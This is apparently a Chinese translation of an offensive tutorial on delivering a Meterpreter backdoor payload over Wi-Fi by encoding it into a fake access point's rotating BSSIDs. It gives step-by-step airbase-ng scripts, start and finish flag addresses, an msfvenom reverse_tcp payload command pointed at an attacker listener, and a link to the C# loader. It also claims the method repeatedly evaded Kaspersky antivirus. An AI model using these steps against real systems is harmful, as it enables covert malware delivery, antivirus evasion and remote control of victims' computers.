在这篇文章中我想讨论无线接入点(Wireless Access Point)以及[利用]BSSID(MAC-Address AP)[传输Payload]。
我们[之前]讨论过IPv4下[利用]ARP流量[传输Payload],现在我们谈论谈论无线流量中与其相类似的内容。该技术类似于之前文章中的利用ARP流量传输Payload的技术。
这一次我们依然没有加密后门Payload,同样没有使用文件系统(仅内存)中的硬编码Payload,但还是能够通过这种方法绕过杀软。这种方法也适用于通过无线流量传输未加密Meterpreter Payload
。
这种情形下,攻击者可以通过改变伪AP的BSSID(循环修改)来达到攻击目的。这意味着你只需修改BSSID,将后门Payload逐步注入到BSSID中,然后受感染的客户端(即注入后门的系统)就会在不用验证以连接到伪AP、仅仅是扫描周围AP的MAC-Address(BSSID)情形下转储这些Payload。Payload传输发生在无线设备之间,比如:Wlan环境中。
在我的方案中,受害者通过扫描周围AP的BSSID转储完Payload之后,Meterpreter会话建立于以太网(并非无线网络环境)之上。
你将能够看到,恶意代码或者本文中提到的简单后门会默默地在无线设备之间传输,最终你可以使用一段简单的C#代码获得Meterpreter会话。
在我的方案中,我使用无线网络仅是传输Payload(Step 1),受害者通过扫描无线设备的MAC-Address(BSSID)转储Payload;之后我植入的后门会使用eth0或者以太网卡来建立Meterpreter会话(Step 2),我们将不使用无线网络来建立会话。
Note:我认为Step 1与Step 2都在无线网络环境中完成在技术实现上是可能的,但我无法给出确切答案,因为我并没有进行测试。不过我觉得是可能实现的,在(Step 2)中你需要EvilTwin AP,同时
Meterpreter Listener
需要使用伪造热点子网中的某个IP地址……
Note:你可以使用
MANA-Toolkit
或者与它类似的工具来实现EvilTwin AP。链接:https://github.com/sensepost/mana
重点就是:将恶意代码或者后门Payload注入到无线设备的BSSID中,并通过无线流量传输是可能实现的。
我们以下面这段Payload作为示例:
fec8b00011ddc00945f1
Step 1:攻击者建立一个伪AP,名为Fake
,MAC地址是00:fe:c8:b0:00:11
。
Note:MAC地址00:fe:c8:b0:00:11
就是我们要注入的Payload,是fec8b00011ddc00945f1
的前半部分。
Step 2:植入后门的系统扫描到ESSID为"Fake"的AP,并转储其BSSID。
Note:你的后门代码处理BSSID时需去掉":"之后再进行转储,即:fe:c8:b0:00:11
==>>fec8b00011
Step 3:攻击者再次建立一个伪AP,名称不变,MAC地址改为00:dd:c0:09:45:f1
。
Step 4:植入后门的系统扫描到ESSID为"Fake"的AP,并转储其BSSID。
经过Step 2
与Step 4
两个步骤后,植入后门系统将会被注入Payloadfec8b00011ddc00945f1
。
现在,你应该已经理解了这种方法的工作原理,下面让我将展示如何在Linux下使用命令实现Step 1
与Step 3
(即通过命令建立伪AP)。
可选命令:在创建Wlan0mon之前使用下面的命令可以改变你无线网卡的TXPower,这样做会增强你的伪AP的信号。如果你愿意的话,请手动输入:
ifconfig wlan0 down
iw reg set BO
ifconfig wlan0 up
iwconfig wlan0 txpower 30
Note:这些命令一定要在通过aimon-ng
建立Wlan0mon之前使用,当然,它们是可选命令(并非必需)。
将无线网卡更改为监听模式是非常重要的一步:airmon-ng start wlan0
。
执行此命令之后你会看到多了一块"Wlan0Mon"网卡(处于监听模式)。
Note:你可以手动输入此命令并运行,仅使用一次即可。或者你可以在script1.sh
脚本中使用一次此命令。我是在攻击者主机上手动输入此命令并运行的。
Step 1:攻击者建立一个伪AP,名为Fake
,MAC地址是00:fe:c8:b0:00:11
。
Note:MAC地址00:fe:c8:b0:00:11
是我们要注入的Payload,我们的Payload是fec8b00011。
cmd 1-1:airmon-ng start wlan0
cmd 1-2:airbase-ng -a 00:fe:c8:b0:00:11 –essid “Fake” -I 10 -0 wlan0mon
Note:你需要使伪AP的信号持续15秒,所以15秒之后可以使用killall
命令杀死该进程。
cmd 1-3:sleep 15
cmd 1-4:killall airbase-ng
Step 3:攻击者建立一个伪AP,名为Fake
,MAC地址是00:dd:c0:09:45:f1
。
cmd 3-1:airbase-ng -a 00:00:dd:c0:09:45:f1 –essid “Fake” -I 10 -0 wlan0mon
cmd 3-2:sleep 15
cmd 3-3:killall airbase-ng
正如你看到的那样,实现这些步骤我们需要使用这些命令,但我们在使用airbase-ng
时存在问题。或者可能是我在使用这个命令时存在问题。
问题出现在cmd 1-2与cmd 1-3之间,在执行了cmd 1-2之后你无法让airbase-ng
命令停下来,你只能使用Ctrl+C或者终止该命令……所以我的脚本总会在执行到cmd 1-2这一命令时停止,除非我杀死该进程。
所以为了解决这个问题,我使用了两个脚本来实现这些步骤:
Note:你可以将cmd 1-1加入到这个脚本的第一行或者是手动输入运行。我选择了手动输入运行一次。
所以在我的方案实现中我们首先需要运行"Script1.sh"然后立即或者2-3秒之后运行"Script2.sh"。
两个脚本文件内容如下:
Script1.sh
#!/bin/bash
airbase-ng -a 00:fe:c8:b0:00:11 –essid “Fake” -I 10 -0 wlan0mon ;
airbase-ng -a 00:dd:c0:09:45:f1 –essid “Fake” -I 10 -0 wlan0mon ;
Script2.sh
#!/bin/bash
sleep 15 ;
killall airbase-ng ;
sleep 15 ;
killall airbase-ng ;
Note:你可以在"Script2.sh"脚本中使用循环语句(比如for)。
从下图中你可以看到,我们使用Script1.sh将Meterpreter Payload
注入到BSSIDs中。
Meterpreter Payload
开始于第三行。我的Meterpreter Payload
大小为510Bytes。通过airbase-ng
命令我们一次可以注入5Bytes到伪AP"Fake"的BSSID中。所以我们需要102行代码来通过airbase-ng
命令注入所有的Payload到BSSID中。(102*5=510 Bytes)
Note:每个BSSID包含5字节Payload。BSSID=00:fc:48:83:e4:f0,{5 bytes} ==> fc-48-83-e4-f0。
我们需要额外加入两个MAC地址到"Script1.sh"中。上图脚本中的第二行MAC地址是00:ff:ff:ff:ff:ff,这个MAC地址或者说BSSID作为开始攻击流量传输入侵受害者主机的标志。下图脚本中可以看到作为结束标志的BSSID{00:ff:00:ff:00:ff}。
BSSID Flag for Start = 00:ff:ff:ff:ff:ff
BSSID Flag for Finish = 00:ff:00:ff:00:ff
循环注入[Payload]到BSSID中,即BSSID改变次数共(102+2)=104次。
下面图片是"Script2.sh"脚本文件内容,你同样可以使用循环(比如for)来实现与其相同的效果。
在"Script2.sh"中,你至少要杀死airbase-ng
104次。
现在我想通过我的工具NativePayload_BSSID.exe
来一步一步地为你解释这个方法。
Step 0:将无线网卡设为监听模式。
命令:airmon-ng start wlan0
Step 1:你可以使用下面的命令为你的后门创建一个Payload。
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f c > payload.txt
Step 2:在这一步中,你应当先将payload.txt
文件中的Payload由"\xfc\x48\x83\xe4"转换为"fc4883e4"的形式。
你可以通过这个工具的help
选项来显示所有的使用语法,如下图所示:
现在你应该使用NULL
并将Payload字符串复制粘贴到其后,如下图所示:
命令:c:\> NativePayload.exe null “fc4883e4...”
然后你应当将上面所有的airbase-ng
命令复制到一个脚本文件中(比如:script1.sh),该情形下一共有102+2=104行。另外,你需要在这个脚本文件中的第一行添加#!/bin/bash
,现在这个文件应该有105行。
Step 3:这一步中你需要在Linux中运行这一脚本文件。不必担心,可以的!
如图所示,chmod
修改脚本文件的权限,然后运行这一脚本:
Step 4:这一步中你应当创建script2.sh
,并用chmod
修改脚本文件的权限,但是不要运行。
Note:你需要像0x05
最后一张图片中那样手动建立script2.sh
。
Step 5:现在你应当运行后门程序(此例中为NativePayload_BSSID.exe
)。从下图中可以看到,我在Kali Linux中为IP地址192.168.1.50建立了Meterpreter Listener。
在Step 5
步骤中我们共需要执行4小步:
Step AA:执行Meterpreter Listener(Linux);
Step BB:运行script1.sh
(Linux);
Step CC:执行后门程序NativePayload_BSSID.exe
(Windows);
Step DD:运行script2.sh
(Linux);
在Step CC中你应当使用NativePayload_BSSID.exe “essid”
命令执行NativePayload_BSSID.exe
,此例中我们的ESSID为“Fake”,所以正确命令应该为NativePayload_BSSID.exe “Fake”
。
如下图,StepAA、BB、CC得以执行:
正如你从图中看到的一样,后门程序被名为"u1"的用户执行(此例中),之后你应当运行script2.sh
(Step DD)。
这时后门程序尝试扫描周围ESSID为"Fake"的AP,之后转储其BSSID。所以你可以在上图中看到我的代码转储了4次BSSID即"00:ff:ff:ff:ff:ff",这是开始攻击以及通过BSSID传输Payloads的标志。
所以在流量传输过程中,有以下这些步骤:
现在是时候运行script2.sh
(Step DD)了。
运行script2.sh
脚本之后,每15秒这个脚本就会杀死你script1.sh
文件中的一个Airbase-ng命令。
所以运行script2.sh
脚本之后,在流量传输过程中,有了以下这些步骤:
正如你从下图中看到的那样,我的后门程序在运行script2.sh
脚本之后尝试转储BSSIDs:
下图中可以看出,在30分钟之后,建立了Meterpreter会话:
我们通过我用C#编写的程序成功建立了Meterpreter会话,并且使用这种方法一次又一次地绕过了卡巴斯基2017。
Note:在上图中你可以看到,我的程序是在15秒之后建立了Meterpreter会话,这个延迟是我在代码(System.Threading.Thread.Sleep(15000);
)中设置的。如果你使用我的代码对此方法进行验证,你应该在转储完所有Payload之后等待15秒,不出意外的话会建立Meterpreter会话。
你的无线设备总是漏洞百出,所以你应当考虑这些威胁:
C# 源码:https://github.com/DamonMohammadbagher/NativePayload_BSSID
视频:https://youtu.be/W0dJGln3tls
0x00
前言部分[]
中的内容是译者根据为方便理解自行添加,原文中无。0x02
部分强调的重点没有任何作用,但出于尊重原文考虑,没有删掉该部分。0x03
部分原文中Step 3
与Step 4
下面各有一个Note,含义与Step 1
与Step 2
下面的Note相同,故弃之。0x04
部分原文中的Note在上文已解释,故弃之。0x06
中Step 2
的"将payload.txt
文件中的Payload由'\xfc\x48\x83\xe4'转换为'fc4883e4'的形式"这一步骤应该由读者自行完成,下文的c:\> NativePayload.exe null “fc4883e4...”
命令并非是完成这一步的命令。故译者加上了“先”字,这个意思在原文并没有体现,译者根据上下文妄自揣度,如有误,望指正。0x06
的在流量传输过程中,原文为"on AIR"。译者根据文意翻译为在流量传输过程中,可能不太准确,如有更好的翻译,望不吝赐教。